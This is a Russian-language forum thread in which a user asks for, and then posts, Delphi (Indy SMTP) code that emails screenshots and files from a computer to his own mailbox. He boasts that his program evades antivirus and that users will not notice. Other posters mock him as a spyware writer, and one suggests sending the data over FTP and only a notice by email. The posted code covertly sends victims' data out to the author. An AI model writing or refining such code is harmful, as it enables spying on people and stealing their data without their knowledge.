[hackvl]

нужно отправить несколько картинок
текст из едита отправляет нормально все,
что нужно добавить чтоб отправлялись еще картинки например из C:\S\1.jpg
кинул на форму ид смтп и ид месадж

PHP код:

idSmtp1.Host:='smtp.yandex.ru'; // smtp сервер
idSmtp1.Port:=25 ; // Порт
idSmtp1.Username:='*******@yandex.ru' ; // Логин, от кого придет письмо
idSmtp1.Password:='******' ; // Пароль
idMessage1.Body.Text:=edit1.text ; // Текст письма

idMessage1.From.Text:='********@yandex.ru'; // от кого email адрес
idMessage1.Recipients.EMailAddresses:='******@yandex.ru' ; // и кому отправляем
idMessage1.Subject:='Т' ; // Тема письма

idSmtp1.Connect();
if idSmtp1.Connected=true then;
idSmtp1.Send(idmessage1);
idSmtp1.Disconnect 


[Konrad]

Типа хоочешь парить прогу которая будет посылать тебе на мейл данные))))

Сообщение от hackvl

idSmtp1.Username:='*******@yandex.ru' ; // Логин, от кого придет письмо
idSmtp1.Password:='******' ; // Пароль

О да...
В проге находим твой пасс и заходим на твое мыло, а далее.........)))

Впринципе на компах блондинок, которым вконтакт заменяет весь инет - прокатит.

[hackvl]

ну можно и не на мейл на фтп
только как на фтп это сделать может кто напишет?

[Konrad]

Завист от того что ты хочешь передавать?

Папку "Мои документы/Отдых в Турции/OLYMP"?
Где каждая фотка по 3 Мб....
ИЕ зависнет... блондинко перезагрузит комп)

[hackvl]

нет мне нужно на емаил отправлять
как обычный юзер это заметит? никак

[Konrad]

Сообщение от hackvl

нет мне нужно на емаил отправлять
как обычный юзер это заметит? никак

если какая-то прога начнет в сеть передавать 1Гб фоток?)
Еще как заметит)

[hackvl]

отправка будет 1мб
Кто сможет помоч?

[Konrad]

Сообщение от hackvl

отправка будет 1мб

Интересно что ты хоч впихнуть в 1Мб?
архив пасов?)
Архив хистори квипа?

Сообщение от hackvl

нужно отправить несколько картинок

Хм... интересно какие картинки интересуют теперяшних хакиров))))

Сообщение от hackvl

Кто сможет помоч?

Чем помочь? Помочь в отучении блондинок от сидения в инете без антивира?
Им уже ничем не поможешь, и твои благие намерения не принесут им пользы...

[hackvl]

моя прога непалится антивирем 0/43
нужно просто отправить скриншот который сделает моя програма,
хватит уже флудить , надо просто подсказать что добавить чтоб отправить картинку на мыло

[hackvl]

решил проблему
вот кидаете на форму

PHP код:

procedure TForm1.FormCreate(Sender: TObject);
begin
try
IdSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Host:='smtp.rambler.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='xxxxxxxxx@rambler.ru';
IdSMTP1.Password:='password';
IdSMTP1.Connect;
except
on e:Exception do
end;
end; 


это на кнопку илу еще куданить

PHP код:

procedure TForm1.Button1Click(Sender: TObject);
var
msg:TIdMessage;
att:TIdAttachment;
begin
try
msg:=TIdMessage.Create(nil);
msg.Body.Add('email text');
msg.Subject:='header email';
msg.From.Address:='ххххххх@rambler.ru';//от кого отправляем
msg.From.Name:='Andrey';
msg.Recipients.EMailAddresses:='ххххххх@mail.ru';//кому отправляем
att:=TIdAttachment.Create(msg.MessageParts,'C:\1.txt');
msg.IsEncoded:=True;
if IdSMTP1.Connected=True then
begin
IdSMTP1.Send(msg);
end;
att.Free;
msg.Free;
except
on e:Exception do
begin
msg.Free;
att.Free;
IdSMTP1.Disconnect;
end;
end;
end; 


[lmikle]

Ну молодец, что разобрался.
А вообще, можно и на ftp лить (idFTPClient), а по почте посылвть только извещение.

[Konrad]

Все.. армагедец...
Побежал менять названия папок рабочего стола: П0рево1, П0рево2, П0рево151